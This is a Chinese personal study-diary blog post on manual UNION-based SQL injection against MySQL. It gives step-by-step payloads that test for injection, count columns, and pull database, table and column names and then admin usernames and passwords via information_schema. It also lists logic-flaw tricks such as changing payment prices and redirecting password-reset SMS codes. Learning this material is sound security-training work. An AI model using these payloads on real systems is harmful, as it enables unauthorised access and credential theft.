【渗透测试】007 注入漏洞

2023-12-06 08:12:27

我是一名前端工程师,想要转行渗透测试,以写日记的形式记录每天学习结果,逐步完善渗透测试整个体系。

看到一篇帖子 https://bbs.zkaq.cn/t/31299.html 是说 sql 注入漏洞的,步骤很固定,总结下原理。

判断是否存在注入点

id=1 and 1=1 页面显示正常
id=1 and 1=2 页面显示不正常,没查到数据
说明拼接的参数被当做代码执行了,存在 sql 注入。

判断字段个数

有两种方式:

id=1 order by 3 页面输出正常;
id=1 order by 4 页面输出异常。
说明表只有 3 个字段。

找回显点

id=1 and 1=2 union all select 1,2,3 可以看到页面上原先显示文字的地方这会变成数字了。比如原先显示文字的地方这会变成数字3了,3就是一个回显点,用于显示其它查询结果。

id=1 后面跟了 and 1=2,作用是保证前面表格查的数据是0条,最终显示的数据都是后面表格的数据。

查库名

拼接 id=1 and 1=2 union all select 1,2,database()
在回显点3处可以看到库名。

查表名

查表名原理:

mysql 数据库有一个系统库叫做 information_schema 库,里面有一些系统表,比较常用的是 tables 表(记录 mysql 库中所有的表信息,索引值是库名)和 columns 表(记录 mysql 库中所有字段信息,索引值是库名和表名)。

前面已经知道了库名,那么在 information_schema.tables 表中就可以通过库名查到表名了。

拼接 id=1 and 1=2 union all select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 就可以拿到表名了。

拼接语句最后面的 limit 0,1 表示分页查询第一张表名,如果不加这句代码,查出来的是最后一张表名。

查字段名

比如上面查到的表名是 admin,可以继续拼接查询字段名称。

拼接 id=1 and 1=2 union all select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=”admin” limit 0,1 得到第一个字段名。

改变 limit 参数值,可以依次查询出所有字段名称。

查表数据

库名知道了,表名知道了,表字段名也知道了,就很容易拿到表数据了。比如上面查到的字段名为 id, username, password

拼接 id=1 and 1=2 union all select id, username, password from admin limit 0,1

改变 limit 参数值,可以依次查询出表中所有数据。

更新体系树

|-- 信息收集
    |-- 目录扫描
        |-- dirsearch
    |-- 指纹识别
        |-- whatruns, wappalyzer
    |-- 谷歌搜索
        |-- inurl, intext, filetype
  |-- 旁站搜索
    |-- 网络空间搜索引擎: FOFA、Shodan、ZoomEye、Quake
|-- 越权漏洞
    |-- 收获地址, 优惠券, 个人信息等
|-- 支付漏洞
    |-- 支付时抓包修改价格再发请求
|-- 逻辑漏洞
    |-- 重置密码发短信直接抓包把号码改成自己的
    |-- 重置密码发短信后端可能会接收多个手机号
    |-- 短信验证码会在接口响应里直接返回验证码
|-- 注入漏洞

返回首页

本文总阅读量  次
皖ICP备17026209号-3
总访问量: 
总访客量: